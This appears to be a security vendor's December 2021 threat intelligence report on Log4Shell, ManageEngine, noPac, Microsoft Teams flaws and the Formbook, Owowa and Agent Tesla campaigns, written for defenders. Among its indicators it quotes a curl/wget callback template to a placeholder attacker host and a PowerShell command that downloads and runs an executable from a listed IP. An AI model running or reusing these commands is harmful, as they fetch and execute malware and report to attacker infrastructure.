December Threat Intelligence Report

Prepared for:

Public Release

01/1/2022

It is not often that the prominent threats for a month of the year are so unified under one theme but for December that is undoubtedly the case, and its exploitation of remote services. Those of us who celebrate it had barely finished digesting our Thanksgiving turkey when the critical vulnerability in Apache's Log4J tool was discovered that allowed for highly damaging zero-day exploits via remote code execution. The scramble to fix, patch, and detect this seemingly ever-changing flaw in a widely used logging library tested security operations around the world. During this time, we also saw holes in Microsoft Active Directory, Exchange, and Teams allowing for attacker execution of code for a variety of malicious purposes including denial of service and domain takeover. Additional threat campaigns active this month were largely phishing-based and aimed at information stealing. Read on for all of CyZen's threat intelligence for December.

Vulnerabilities

CVE-2021-44228: Apache Log4J Vulnerability
Severity: Critical – 10.0

Log4Shell is a critical severity vulnerability (CVE-2021-44228, CVSSv3 10.0) impacting multiple versions of the Apache Log4j 2 utility. It was disclosed publicly via the project's GitHub on December 9, 2021. This vulnerability, which was discovered by Chen Zhaojun of Alibaba Cloud Security Team and impacts most Apache Log4j 2 versions 2.0 and up. The vulnerability allows for unauthenticated remote code execution. Log4j 2 is an open-source Java logging library developed by the Apache Foundation. It is widely used in many applications and is present, as a dependency, in many services. These include enterprise applications as well as numerous cloud services.

CyZen issued an advisory to its customers and implemented various detections across all their deployments shortly after the vulnerability was discovered but it has since evolved. Attempts to exploit Log4j have included obfuscating characters to evade static rule search strings and deliver payloads as well as simply probing vulnerable systems to determine what could be accessed in the future. Researchers have confirmed that variants of Mirai and Kinsing botnets have spread via Log4Shell and the most scanned ports were TCP ports 80 and 8080 (HTTP). Recent base64 encoded payloads captured by honeypots typically attempt to either curl or wget the attacker's IP followed by a unique port, followed by the IP address of the victim as seen below:

(curl -s <attacker_ip>:<attacker_port>/<victim_ip>:<victim_port> || wget -q -O- <attacker_ip>:<attacker_port>)

As with all prominent vulnerabilities, we will continue to monitor Log4Shell's development and ensure the fidelity of our detections and hunts are up to date.

Recommendations:

- Organizations are highly encouraged to update Log4j to 2.17.1 as soon as possible.
- If an organization cannot update to 2.17.1 at this time, it is recommended that the organization set the value of "Log4j2.format.MsgNoLookups" to "true".

CVE-2021-44077: Unauthenticated Remote Code Execution in ManageEngine ServiceDesk
Severity: Critical – 9.8

On the heels of last month's REST API authentication bypass (CVE-2021-40539) affecting Zoho's ManageEngine ADSelfService Plus a new remote code execution vulnerability affecting this vendor's products has been identified. As mentioned previously, Zoho, and their ManageEngine product are a popular IT management software used worldwide. This new vulnerability would allow unauthenticated attackers to execute arbitrary code and carry out further attacks. It has been added to the Known Exploited Vulnerabilities Catalog with the Cybersecurity & Infrastructure Security Agency (CISA).

Products affected include:

- ManageEngine ServiceDesk Plus, prior to version 11306
- ServiceDesk Plus MSP, prior to version 10530
- SupportCenter Plus, prior to version 11014

The flaw has been observed to be exploited in the wild by organized threat actors to gain access to ManageEngine ServiceDesk Plus. In the attacks, the threat actors abused a flaw to upload executable files and plant web shells, as well as to compromise administrator credentials, move laterally, and exfiltrate registry hives and Active Directory files.

Recommendations:
Customers are advised to upgrade immediately to the current version ServiceDesk Plus (12001). The company have also posted a workaround for further security which can be seen here: https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021

Microsoft Active directory domain takeover (CVE-2021-42287 and CVE-2021-42278)
Severity: High

A proof-of-concept tool has been published that leverages two Microsoft Windows Active Directory vulnerabilities that allow for domain takeover. Microsoft classifies the attack as a SAM name impersonation attack which is used to support logons from older windows versions. The vulnerabilities when chained together allows attackers to go from a normal domain user to full admin privileges. Attackers will first create a new computer account in AD and will then rename the account to the same name of a domain controller without the trailing ($) and then makes a TGT request which is then granted, and the attacker reverts to the original account name and resends the request which since the user no longer exists, is reverted to the closets match. The vulnerabilities are being collectively referred to as No Pac due to the exploitation of (PAC) & (AD DS). Microsoft immediately patched the vulnerabilities as part of the monthly patch Tuesday.

Recommendations: Make sure all systems are updated with the latest patches.

https://threatpost.com/active-directory-bugs-windows-domain-takeover/177185/

https://www.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware

Microsoft Teams URL spoofing and IP leak vulnerability

Severity: High

There were four vulnerabilities found within teams that were stumbled upon by the team at Positive security. The main vulnerabilities consisted of an IP spoofing vulnerability in Android as well as a URL preview spoofing on both the web and the desktop version. The URL spoofing vulnerability is due to the preview not being filtered which allows for a limited SSRF that could leak to data leakage (Response time, code, size, open graph data) which could be used as reconnaissance for port scanning. The attack has been used as a vector to attack offline assets that may be vulnerable to the Log4j exploit using SSRF to scan internal HTTP's services. Additionally, the preview can be modified to redirect users to a page independent of the link posted.

The IP vulnerability as the name implies could allow for IP data to be leaked from the user. The vulnerability lies in how Teams handles the creation of thumbnails by redirecting the image to a Microsoft domain. Attackers can intercept that communication and replace the Microsoft URL with a third-party malicious domain. Finally, researchers said that using this method attackers could use crafted messages to users and in channels that could result in a DOS and or instability in the channel.

Recommendations: Currently Microsoft has only patched the IP issue in Android but the researchers who discovered the vulnerability suggested checking URLs against the original message and avoiding using the thumbnail as a spring-bord to the site.

https://portswigger.net/daily-swig/multiple-vulnerabilities-in-microsoft-teams-could-spoof-urls-leak-ip-addresses

Threat Advisory

Phishing Exploit Bypasses Patch for MSHTML Exploit

A new phishing campaign dubbed "CAB-less 40444" was recently observed this past month by security researchers that aims to take advantage of the path that fixed a remote code execution (RCE) vulnerability in the MSHTML component of Windows (CVE-2021-40444). This is a software component used to render web pages in Windows. Microsoft Office applications use the MSHTML component to display web content in Office documents. The vulnerability depends on MSHTML loading a specially crafted ActiveX control when the target opens a malicious Office document. A loaded ActiveX control can then run arbitrary code to infect the system with more malware.
According to the researchers, this new phishing campaign aims to get around the patch's protection by morphing a publicly available Proof of Concept (POC) Office exploit published on GitHub and weaponizing it to distribute Formbook malware - a virus designed to steal personal data from victims' computers.

The original vulnerability involved the malware retrieving a malicious payload packaged in a Microsoft Cabinet file (.CAB file). With the patch, Microsoft solved for this issue, however, attackers then discovered they could encapsulate the malicious document in a RAR archive. The RAR file includes a script, as well as a Word document, where upon opening, reaches out to a malicious remote server hosting JavaScript. From here, an embedded PowerShell command executes to retrieve the Formbook malware from an attacker-controlled website.

Recommendations

As well as ensuring assets are patched, review the "Workarounds" section of the vulnerability to deal with the MSHTML vulnerability. These can be found at:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

IOCs

Command Line Arguments:

- wscript.exe ".wsf:../../../[path where RAR was saved]/Profile.rar?.wsf"
- POwErshell -noprofille -noni -W Hidden -enc
- iex ((new-object system.net.webclient).downloadfile("hxxp://104.244.78.177/abb01.exe","$env:LOCALAPPDATA\dllhostSvc.exe"));Start-Process"$env:LOCALAPPDATA\dllhostSvc.exe"

Network Connections:
IP: 104.244.78.177
URL: hxxp://104.244.78.177/abb01.exe

Malicious IIS Server Module Used to Steal Microsoft Exchange Credentials

Labeled "Owowa", Internet Information Services (IIS) webserver module, a previously unknown binary, is being leveraged by malicious attackers on Microsoft Exchange Outlook Web Access servers with the aim of stealing credentials and enabling remote command execution. According to Kaspersky researchers Paul Rascagneres and Pierre Delcher, "Owowa is a C#-developed .NET v4.0 assembly that is intended to be loaded as a module within an IIS web server that also exposes Exchange's Outlook Web Access (OWA) […] When loaded this way, Owowa will steal credentials that are entered by any user in the OWA login page, and will allow a remote operator to run commands on the underlying server." Owawa is devised to capture the credentials of users that successfully authenticate on the OWA authentication web page. Exploitation is then attained by sending innocuous requests to the exposed web services by entering specifically crafted commands within the username and password fields in the OWA authentication page of a compromised server.
Due to the uncommon approach of this backdoor, this attack could be easily missed during regular file monitoring efforts. Attackers can maintain a stealthy persistence by remaining inside the Exchange server.

IOCs

Program Database (PDB) Paths:

- C:\Users\Administrator \source\repos\ClassLibrary2\obj\Release\ExtenderControlDesigner.pdb
- C:\Users\Administrator \source\repos\ClassLibrary2\obj\Release\ClassLibrary2.pdb

- C:\Users\Administrator \source\repos\Shellcode_inject\Release\artifact32.pdb
- C:\Users\Administrator\source\repos\Artifact\x64\Aritfact_big\Artifact.pdb

Cobalt Strike C2:

- 150.109.111[.]208

Domain:

- s3crt[.]biz

New Agent Tesla Variant Phishing Campaign

Researchers have discovered a phishing campaign delivering a new variant of the infostealer Agent Tesla – a .Net-based malware that captures keystrokes, clipboard data, stored credentials, browser cookies, and takes screenshots on victim machines. The phishing email being sent contains a message in Korean claiming to have an attached purchase order for confirmation which is a malicious PowerPoint file with a macro that calls an auto-run function when opened. VBA code is executed in a project that connects to hxxps[:]//onedayiwillloveyouforever[.]blogspot.com/p/divine111.html which contains more code used to write an escaped VBScript code to a current HTML document to be executed by "mshta.exe". This begins the complex process of downloading and running various VBScrip-embedded-in-HTML, standalone VBScript, and PowerShell scripts to prevent the malware from being easily analyzed. A recurring task is added into the Task Scheduler to check for a new version every 2 hours and the core VBS file is copied into the start menu's startup folder, renamed "GTQ.vbs" to ensure persistence. The Agent Tesla payload is fileless on the victim's system. It is only kept in the memory of the PowerShell process. The downloaded .Net module has a function named "ClassLibrary1.Class1.Run()" that performs process-hollowing. It passes the payload in memory and uses the official Microsoft .NET process "RegAsm.exe" to inject malware into to avoid detection. So far, this variant of Agent Tesla has only been observed stealing credentials and cookies from the below software:

Chromium-based Web Browsers:
Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser.
Web Browsers:
Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon.
VPN clients:
OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN.
FTP clients:
FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter.
Email clients:
Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky! Internet Mail, The Bat!.
Downloader/IM clients:
DownloadManager, jDownloader, Psi+, Trillian.